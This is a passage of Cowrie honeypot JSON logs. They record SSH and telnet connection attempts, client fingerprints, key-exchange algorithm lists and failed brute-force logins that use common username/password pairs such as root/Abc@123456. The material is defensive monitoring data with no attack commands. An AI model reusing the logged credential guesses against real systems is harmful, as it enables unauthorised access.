2-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:15.899706Z","src_ip":"112.217.199.222","session":"9225897c563b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a122b5c78d","protocol":"telnet","message":"New connection: 51.81.202.206:35840 (159.203.135.109:23) [session: 12a122b5c78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:16.551336Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf123.","message":"login attempt [root/Asdf123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:16.772818Z","src_ip":"112.217.199.222","session":"9225897c563b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:17.983982Z","src_ip":"112.217.199.222","session":"9225897c563b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.224533796310425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:22.220681Z","src_ip":"51.81.202.206","session":"4e5997b52b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032225370407104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:28.056638Z","src_ip":"51.81.202.206","session":"8d0a3db34069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":18494,"dst_ip":"159.203.135.109","dst_port":22,"session":"390e53014a37","protocol":"ssh","message":"New connection: 152.32.213.101:18494 (159.203.135.109:22) [session: 390e53014a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:29.478915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:29.485129Z","src_ip":"152.32.213.101","session":"390e53014a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:29.697434Z","src_ip":"152.32.213.101","session":"390e53014a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":60704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d426248240df","protocol":"telnet","message":"New connection: 51.81.202.206:60704 (159.203.135.109:23) [session: d426248240df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:30.383891Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"Passw0rd","message":"login attempt [user/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:30.564818Z","src_ip":"152.32.213.101","session":"390e53014a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54090642929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:31.048977Z","src_ip":"51.81.202.206","session":"7717f31ad53e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34560,"dst_ip":"159.203.135.109","dst_port":23,"session":"717cad82edf2","protocol":"telnet","message":"New connection: 51.81.202.206:34560 (159.203.135.109:23) [session: 717cad82edf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:31.662358Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:31.788127Z","src_ip":"152.32.213.101","session":"390e53014a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.625675678253174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:33.078056Z","src_ip":"51.81.202.206","session":"630d6ae354bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59546,"dst_ip":"159.203.135.109","dst_port":22,"session":"c34e343f6820","protocol":"ssh","message":"New connection: 159.203.92.129:59546 (159.203.135.109:22) [session: c34e343f6820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:44.905774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:44.910554Z","src_ip":"159.203.92.129","session":"c34e343f6820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:44.915940Z","src_ip":"159.203.92.129","session":"c34e343f6820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"pass","message":"login attempt [alex/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:44.927527Z","src_ip":"159.203.92.129","session":"c34e343f6820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:45.934564Z","src_ip":"159.203.92.129","session":"c34e343f6820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.565415620803833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:47.116485Z","src_ip":"51.81.202.206","session":"12a122b5c78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"096a0c0885c5","protocol":"telnet","message":"New connection: 51.81.202.206:43566 (159.203.135.109:23) [session: 096a0c0885c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:53.678297Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51772,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9aaf7f1a13","protocol":"telnet","message":"New connection: 51.81.202.206:51772 (159.203.135.109:23) [session: 2d9aaf7f1a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:42:58.143258Z"}
{"eventid":"cowrie.session.closed","duration":30.765828132629395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:01.149588Z","src_ip":"51.81.202.206","session":"d426248240df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45375895500183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:02.115978Z","src_ip":"51.81.202.206","session":"717cad82edf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":42570,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f7fc836c61","protocol":"ssh","message":"New connection: 112.217.199.222:42570 (10.17.0.5:22) [session: 40f7fc836c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:17.593445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:17.597883Z","src_ip":"112.217.199.222","session":"40f7fc836c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:17.795537Z","src_ip":"112.217.199.222","session":"40f7fc836c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"000000","message":"login attempt [test/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:18.618038Z","src_ip":"112.217.199.222","session":"40f7fc836c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:19.818900Z","src_ip":"112.217.199.222","session":"40f7fc836c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37730050086975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:24.055486Z","src_ip":"51.81.202.206","session":"096a0c0885c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e08bedf9b3","protocol":"telnet","message":"New connection: 51.81.202.206:38400 (159.203.135.109:23) [session: a5e08bedf9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:24.393076Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":36328,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a255c3f75a","protocol":"ssh","message":"New connection: 152.32.213.101:36328 (159.203.135.109:22) [session: 06a255c3f75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:26.051914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:26.061725Z","src_ip":"152.32.213.101","session":"06a255c3f75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:26.287486Z","src_ip":"152.32.213.101","session":"06a255c3f75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123456","message":"login attempt [root/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:27.190780Z","src_ip":"152.32.213.101","session":"06a255c3f75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:28.416851Z","src_ip":"152.32.213.101","session":"06a255c3f75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":44842,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a1ba83d466","protocol":"telnet","message":"New connection: 51.81.202.206:44842 (159.203.135.109:23) [session: 50a1ba83d466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:28.523012Z"}
{"eventid":"cowrie.session.closed","duration":30.96724772453308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:29.110257Z","src_ip":"51.81.202.206","session":"2d9aaf7f1a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43020,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b7e7b58825d","protocol":"ssh","message":"New connection: 159.203.92.129:43020 (159.203.135.109:22) [session: 1b7e7b58825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:29.934726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:29.940525Z","src_ip":"159.203.92.129","session":"1b7e7b58825d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:29.946620Z","src_ip":"159.203.92.129","session":"1b7e7b58825d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"pass123","message":"login attempt [alex/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:29.960371Z","src_ip":"159.203.92.129","session":"1b7e7b58825d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:30.967025Z","src_ip":"159.203.92.129","session":"1b7e7b58825d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":49664,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9e014a6ce7c","protocol":"telnet","message":"New connection: 51.81.202.206:49664 (159.203.135.109:23) [session: e9e014a6ce7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:31.363041Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e65332a283b","protocol":"telnet","message":"New connection: 144.79.218.12:51946 (10.17.0.5:23) [session: 9e65332a283b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:38.522313Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b50f09cb6a6","protocol":"telnet","message":"New connection: 144.79.218.12:48474 (10.17.0.5:23) [session: 4b50f09cb6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:54.753866Z"}
{"eventid":"cowrie.session.closed","duration":30.666127920150757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:55.059072Z","src_ip":"51.81.202.206","session":"a5e08bedf9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533520936965942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:43:59.056396Z","src_ip":"51.81.202.206","session":"50a1ba83d466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761969566345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:02.124925Z","src_ip":"51.81.202.206","session":"e9e014a6ce7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55954,"dst_ip":"159.203.135.109","dst_port":22,"session":"69bb83d05af8","protocol":"ssh","message":"New connection: 159.203.92.129:55954 (159.203.135.109:22) [session: 69bb83d05af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:14.548893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:14.553712Z","src_ip":"159.203.92.129","session":"69bb83d05af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp2